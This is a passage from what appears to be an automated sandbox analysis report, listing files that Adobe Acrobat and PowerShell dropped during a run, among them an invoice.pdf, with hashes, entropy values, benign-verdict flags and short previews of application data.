DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.236891371452655
Encrypted:	false
SSDEEP:	6:YEQXJ2HX+QdEIzAEc6+FIbRI6XVW7+0YIpqoAvJfshHHrPeUkwRe9:YvXKXHAvvYpW7rHGUUUkee9
MD5:	4B24732EAEA168087DEA11C581AB401D
SHA1:	65836314D04633D23CD507456C61CBFEB2DEEB4B
SHA-256:	0C4804341D2A455BC07FFD3773F5118FB126C387A3DD43711112A16686F39DF4
SHA-512:	A76820A69CD0AEC90045653E3210F3D1F5B76F445C49E56C6D4F9CE467B20D60FF5FD16A51485C25F080E66D7052583A667A92BE99350066A8FE3B3A50A34EC9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"96802458-d5a2-40ee-87ae-4efbf9821668","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736756515343,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.250338530370666
Encrypted:	false
SSDEEP:	6:YEQXJ2HX+QdEIzAEc6+FIbRI6XVW7+0YIpqoAvJTqgFCrPeUkwRe9:YvXKXHAvvYpW7rHGTq16Ukee9
MD5:	B74EE84BE19CD36376682BDE8E80247E
SHA1:	11637910189C97E510C64A01A4D184D246C44DCB
SHA-256:	15F1A95902A048E5B779068A3D79D3E338CF2E37F2F4EC7E733119A1FEC73DE1
SHA-512:	A21878F5A2A0EB6CC4214FA9AF1488F87CECE4768F7E95E0EE4205D4DD8D906CBBA8DBAF49C8BBE96C611FEC6FD709C6ED401DB2AD2AD2120096547D30F10079
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"96802458-d5a2-40ee-87ae-4efbf9821668","sophiaUUID":"FC1B1BAD-CA24-4641-AA35-0D02D0C204D1"},"encodingScheme":true,"expirationDTS":1736756515343,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.138448726382987
Encrypted:	false
SSDEEP:	24:Y7YYaNaayQ0jrwoJIJoFELarPfQkPdP8Pj68j0SqfCCTC2/jR2LSqRCBdn57Oypx:YDooykdQtBf5CjReGd57Oq2h9IN
MD5:	73C2E4D1E847FEEECCE911DBD9D37177
SHA1:	E801D915ACBB817A8942D68917E2480A7F03EBBC
SHA-256:	0AEFE94973F5D4C82484B739068BB2FAC3086F38AF936F0C43D3B2CF8C5B199B
SHA-512:	083427FCD65D6134AE54A2DFE161FD1AFC04B2E94ACEC6F0B5ACB505B3C71C45726CAE1EE6ABF66DAA77F2D7B459CC42052AF6D72C4E93880A49B9CD32C8FA52
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"29296f3966073bde5352af815b727fc6","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736578330000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"e38712aaba4211057e6fb8ed92cda96f","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736578329000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"bd5ffe2a456c9ad9c1e3db2375783d26","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736578329000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"515f93dce952b10576093c9b99221937","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736578329000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"90b18ab77d2949415de0a15f4be0b3d1","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736578329000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"03715ffabe29eb107500fac8cac39d43","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 19, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 19
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	0.9844929687260827
Encrypted:	false
SSDEEP:	24:TLHRx/XYKQvGJF7urs6I1RZKHs/Ds/Sp1j4zJwtNBwtNbRZ6bRZ4ijF:TVl2GL7ms6ggOVp1czutYtp6PnJ
MD5:	A9A1908C5F6241CCC283983536F8D210
SHA1:	C2FD9126790A16EBBC48B0F4164F888D24734642
SHA-256:	0A44002AB192156A850E49D12AF180B69DFBFB8432BBBD69033DEDD13F62F7AA
SHA-512:	CE0AF05FB648FB319E43088A45233A53A7EF034C4020B65EB643393C447E6EC7BADFFB4EFBBC8ADB9893ABE6DBF4AD70E54221E891EA9F2F7EAF04E2124EBAFA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.3382079368944721
Encrypted:	false
SSDEEP:	24:7+tpKpAD1RZKHs/Ds/Sp1jPzJwtNBwtNbRZ6bRZWf1RZK4qLBx/XYKQvGJF7ursh:7MoGgOVp1jzutYtp6PMpqll2GL7msh
MD5:	4174DCAA3AA8143E2535F7D63BA8E7EE
SHA1:	6D45159D4C33B7DF8A9F710E660AB5EC0C5E1480
SHA-256:	2B5350251529E6AC51EAC88D0840ECF23157A14CC1C1A50421A8427CB204BE4F
SHA-512:	BF4E62E23ABFB2DBE94C6BD6A0F909376D807B5F0E1FD62C0C53153393272A6DFB9ECAA5D15E91F481CB54B353605FB2821B3E817EE64C54285B6E8D24248F45
Malicious:	false
Preview:	.... .c......R........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................j...#..#.#.#.#.#.#.#.#.7.7........................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgwNiSvmRbanx8fvXccPfubp03rhVYyu:6a6TZ44ADEoiSv6fvtnub+3dVK
MD5:	083EE467370A1058D02055CA9F102B68
SHA1:	D7D23307546B95E4ADF412A28A569CE694CD1F67
SHA-256:	C378FB9EFB0F0D727F072302AAD64DB75F2FE064A9FCE24039DE1E4411FF7E81
SHA-512:	EF0A0E598AF5CB7A5132E41F9EC746880E057594D8386F6D6D10A409401EB48AD27F997885CF978FB1C992A1F24D59536D319057CD9101F63B2F985CA08AA49F
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulVmdtZ:NllUM
MD5:	013016A37665E1E37F0A3576A8EC8324
SHA1:	260F55EC88E3C4D384658F3C18C7FDEF202E47DD
SHA-256:	20C6A3C78E9B98F92B0F0AA8C338FF0BAC1312CBBFE5E65D4C940B828AC92FD8
SHA-512:	99063E180730047A4408E3EF8ABBE1C53DEC1DF04469DFA98666308F60F8E35DEBF7E32066FE0DD1055E1181167061B3512EEE4FE72D0CD3D174E3378BA62ED8
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI3cd5e.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.47703473714639
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Cl8DXH:Qw946cPbiOxDlbYnuRKdvXH
MD5:	CC7B9612BF7799DB11A7844F04C6D246
SHA1:	DEF991E72F58A5B0E046633A1F1FA309EB6A83C5
SHA-256:	3AE168BE45DDE69FC9F88391EF557F651E85FF53B3916D4F393FF450E1E64243
SHA-512:	F044EFF5BDFB99A693F5E8D471BC53D3442F9A9AAD887521DE28E74035FB803AA44AD34023135A5E60C2BA260C442772155BBA782F55ED5765C5F855FFFF6F1A
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.1.:.5.2.:.1.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bw4jwqlj.yue.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lgowabof.lnf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 01-52-06-702.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.376360055978702
Encrypted:	false
SSDEEP:	384:6b1sdmfenwop+WP21h2RPjRNg7JjO2on6oU6CyuJw1oaNIIu9EMuJuF6MKK9g9JQ:vIn
MD5:	1336667A75083BF81E2632FABAA88B67
SHA1:	46E40800B27D95DAED0DBB830E0D0BA85C031D40
SHA-256:	F81B7C83E0B979F04D3763B4F88CD05BC8FBB2F441EBFAB75826793B869F75D1
SHA-512:	D039D8650CF7B149799D42C7415CBF94D4A0A4BF389B615EF7D1B427BC51727D3441AA37D8C178E7E7E89D69C95666EB14C31B56CDFBD3937E4581A31A69081A
Malicious:	false
Preview:	SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:961+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=03c9683a-b9c7-43c5-80d5-ee4bbf74fb26.1696428955961 Timestamp=2023-10-04T16:15:55:962+0200 ThreadID=6596 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.340064793960504
Encrypted:	false
SSDEEP:	384:UwqJSIH16PygPpQm0O+h8WBw0jq5DfnZzl9BLTjrwiOdnOLYwflBydyfO0eQpccc:qkE
MD5:	5320C2DEBDD5E1029EF6B9B409509ABD
SHA1:	DE80DA07AA29AC5B44DA9A9A6B4D7E3A89ACBC25
SHA-256:	3D90186EB261D01B435B4796B84CE70924DD5BC869572E19C5656B07A5073A29
SHA-512:	6A36521A831D794F279EE16278FD958C34D7D45D98C58C65D2F36657B21C0FCEB9B4E77E06316F716DAB44D4A1517A7EA9F83036F285C3BA2BF44E6739DBE5BC
Malicious:	false
Preview:	SessionID=cafb47c2-4632-41ca-903c-706416ae7e90.1736578326713 Timestamp=2025-01-11T01:52:06:713-0500 ThreadID=7696 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=cafb47c2-4632-41ca-903c-706416ae7e90.1736578326713 Timestamp=2025-01-11T01:52:06:714-0500 ThreadID=7696 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=cafb47c2-4632-41ca-903c-706416ae7e90.1736578326713 Timestamp=2025-01-11T01:52:06:714-0500 ThreadID=7696 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=cafb47c2-4632-41ca-903c-706416ae7e90.1736578326713 Timestamp=2025-01-11T01:52:06:714-0500 ThreadID=7696 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=cafb47c2-4632-41ca-903c-706416ae7e90.1736578326713 Timestamp=2025-01-11T01:52:06:714-0500 ThreadID=7696 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.397042607939677
Encrypted:	false
SSDEEP:	768:GLxxlyVUFcAzWL8VWL1ANSFld5YjMWLvJ8Uy++NSXl3WLd5WLrbhhVClkVMwDGbz:X
MD5:	7DF1A7DA4E82BF51A93B8F8FEDA1BABD
SHA1:	D179036A71A336541E651C339B07EF3AF651C528
SHA-256:	37F70728B645EA54BDCADBE0B59087AADE3A089FA45E0A97F9945C278E2AD879
SHA-512:	A8D5668C27504FCDDB6D17162D492A0C0ED4BB9932DF401CF5974090652A404D32360FD0E518A70F5222993EB73560FDB3FA961BBF380A1F8A6DE2306FEFCAE7
Malicious:	false
Preview:	04-10-2023 02:39:31:.---2---..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : *************************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : ***********************************..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Starting NGL..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..04-10-2023 02:39:31:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..04-10-2023 02:39:31:.Closing File..04-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\4dbf52f8-c6ad-4a64-b815-8210ed2051b2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\c9a26fcc-52e2-41ea-92ca-dc16fd8d5e23.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/LZwYIGNPgOWL07oYGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:jZwZGDWLxYGZN3mlind9i4ufFXpAXkru
MD5:	A46360BE60065086887BCB58359048C8
SHA1:	6380D66CA4C275C2FBF1FA52976EB1DEB190FC55
SHA-256:	2F57C0EAD8BEA00B42C652E27AF8E2343A70DDD8656A707BFB0C603F37B46733
SHA-512:	A57959A800522474E0905866CA995E5835ECAEF1BD45082709CB50C70FF391489EF2F523B702630C5C46B9C9DE4AB4D8883187AFB5471899435985447BB6FE5E
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\d2130617-fc37-4660-a77c-f0aadf572a1b.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\f5729a49-2b13-45ef-b87b-d9ffff3f6f70.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
